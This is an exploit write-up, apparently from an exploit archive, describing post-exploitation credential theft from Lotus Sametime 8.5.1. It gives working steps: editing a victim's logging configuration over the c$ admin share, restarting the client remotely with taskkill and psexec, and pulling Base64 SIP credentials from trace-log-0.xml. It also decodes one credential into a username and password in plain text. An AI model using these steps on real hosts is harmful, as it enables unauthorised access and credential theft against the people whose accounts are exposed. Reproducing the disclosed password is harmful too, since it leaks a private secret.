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Post Exploitation - Getting username and password in the Lotus Sametime 8.5.1



# Exploit Title:	Post Exploitation - Getting username and password in the Lotus Sametime 8.5.1
# Google Dork: 		n/a
# Date: 		18/02/2014
# Exploit Author:	Adriano Marcio Monteiro <adrianomarciomonteiro@xxxxxxxxx>
# Vendor Homepage: 	http://www.ibm.com/us/en/
# Software Link: 	http://www-01.ibm.com/support/docview.wss?uid=swg24027054
# Version: 		8.5.1
# Tested on: 		Windows 7 SP1 x86 pt-br
# CVE :			

Lotus Sametime is an instant messaging application that includes several features such as video conferencing, phone calls, etc. .. In case of problems the Lotus Sametime provides functionality to register and trace log (Menu: Help / Support / Show Tracker). When you enable verbose logging is possible to obtain the user and the user's password (the password is in Base64), according to the procedure below. The vulnerability is in telephony.softphone.service more specifically in Source Class.Method:

	com.ibm.ws.sip.stack.transport.TransportLayer
	sendMessage

Communication with the server is done via TLS, but the local content communication log is saved in clear text and the password is in base 64. Sample log:

	Out Message: [172.29.1.121:62444->172.28.10.138:5081/TLS]
	REGISTER sip:sipserver.meudominio.com.br:5081;transport=tls SIP/2.0
	Call-ID: 0.CA3.11C8340A9391D37E@172.29.1.121
	CSeq: 1 REGISTER
	From: <sips:adriano.monteiro%40meudominio.com.br@xxxxxxxxxxxxxxxxxxxxxxxxxxx:5081>;tag=3996.696000502281
	To: sips:adriano.monteiro%40meudominio.com.br@xxxxxxxxxxxxxxxxxxxxxxxxxxx:5081
	Via: SIP/2.0/TLS 172.29.1.121:5061;branch=z9hG4bK-6283666955645770411
	Max-Forwards: 70	
	Contact: sip:172.29.1.121:5061;transport=tls
	Expires: 0
	User-Agent: Sametime-Softphone-8.5.1.20100709-0934
	Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, INFO, MESSAGE, UPDATE
	Authorization: Basic cred="YWRyaWFuby5tb250ZWlyb0BtZXVkb21pbmlvLmNvbS5icjpBbW9yMTAxMA=="
	Content-Length: 0

Using a simple script you can automate the process of getting username and password, but beyond the scope of this tutorial and I will not explain this process here. Use your imagination!

PoC - Proof of Concept

Find the file below:
	?\\host.alvo\c$\Users\<usuario.alvo>\Dados de Aplicativos\Lotus\Sametime\.config\rcpinstall.properties?

Add the following lines at the end of the file and save:
	com.ibm.collaboration.realtime.internal.telephony.level=FINE
	com.ibm.collaboration.realtime.telephony.ui.level=FINE
	com.ibm.collaboration.realtime.telephony.tcspi.level=FINEST
	com.ibm.collaboration.realtime.telephony.softphone.level=FINER
	com.ibm.collaboration.realtime.telephony.core.level=FINE
	com.ibm.collaboration.realtime.multimedia.phonegrid.level=FINE
	com.ibm.collaboration.realtime.multimedia.video.gips.level=FINE
	com.ibm.collaboration.realtime.multimedia.phonegrid.internal.gips.level=FINE
	com.ibm.collaboration.realtime.multimedia.video.gips.level=FINE
	com.ibm.collaboration.realtime.multimedia.phonegrid.internal.gips.level=FINE
	com.ibm.collaboration.realtime.telephony.core.level=FINE
	com.ibm.collaboration.realtime.telephony.tcspi.level=FINEST
	com.ibm.collaboration.realtime.telephony.softphone.level=FINER
	com.ibm.collaboration.realtime.internal.telephony.level=FINE
	com.ibm.collaboration.realtime.telephony.ui.level=FINE
	com.ibm.collaboration.realtime.multimedia.level=FINE
	com.ibm.collaboration.realtime.internal.telephony.level=FINE
	com.ibm.collaboration.realtime.telephony.level=FINE
	com.ibm.collaboration.realtime.telephony.tcspi.level=FINEST
	com.ibm.collaboration.realtime.telephony.softphone.level=FINER

Restarting the process on the target host:
	taskkill /s host.alvo /f /im sametime.exe
	psexec ?d \\host.alvo cmd.exe /c "%ProgramFiles%\IBM\Lotus\Sametime Connect\rcp\rcplauncher.exe"

In the logs folder:
	\\host.alvo\c$\Users\<usuario.alvo>\Dados de aplicativos\Lotus\Sametime\logs

Access the file:
	trace-log-0.xml

Search for:
	Basic cred=

Example:
<CommonBaseEvent creationTime="2014-02-18T11:44:53.249-03:00" globalInstanceId="ELac1d017d00014445744cd800001c7e" msg="Out Message: [172.29.1.125:58008-&gt;172.28.10.138:5081/TLS]&#xD;&#xA;REGISTER sip:server.meudominio.com.br:5081;transport=tls SIP/2.0&#xD;&#xA;Call-ID: 0.94.52A702A8618A2FE8@172.29.1.125&#xD;&#xA;CSeq: 1 REGISTER&#xD;&#xA;From:&lt;sips:adriano.monteiro%40meudominio.com.br@xxxxxxxxxxxxxxxxxxxxxxxx:5081&gt;;tag=4518.144797347828&#xD;&#xA;To: &lt;sips:adriano.monteiro%40meudominio.com.br@xxxxxxxxxxxxxxxxxxxxxxxx:5081&gt;&#xD;&#xA;Via: SIP/2.0/TLS 172.29.1.125:5061;branch=z9hG4bK-3811914127572726454&#xD;&#xA;Max-Forwards:70&#xD;&#xA;Contact: *&#xD;&#xA;Expires: 0&#xD;&#xA;User-Agent: Sametime-Softphone-8.5.1.20100709-0934&#xD;&#xA;Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, INFO, MESSAGE,UPDATE&#xD;&#xA;
Authorization: Basic cred=&quot;YWRyaWFuby5tb250ZWlyb0BtZXVkb21pbmlvLmNvbS5icjpBbW9yMTAxMA==&quot;&#xD;&#xA;Content-Length: 0&#xD;&#xA;&#xD;&#xA;" 	severity="10" version="1.0.1">

The username and password found here:
	Authorization: Basic cred=&quot;YWRyaWFuby5tb250ZWlyb0BtZXVkb21pbmlvLmNvbS5icjpBbW9yMTAxMA==&quot;

Getting Username and Password:
	Site:		http://www.base64decode.org/
	Decode:		YWRyaWFuby5tb250ZWlyb0BtZXVkb21pbmlvLmNvbS5icjpBbW9yMTAxMA==
	Result:		adriano.monteiro@xxxxxxxxxxxxxxxxx:Amor1010

Bibliography:
http://pic.dhe.ibm.com/infocenter/sametime/v8r5/index.jsp?topic=%2Fcom.ibm.help.sametime.v85.doc%2Ftrouble%2Ftrbl_client_log_trace.html

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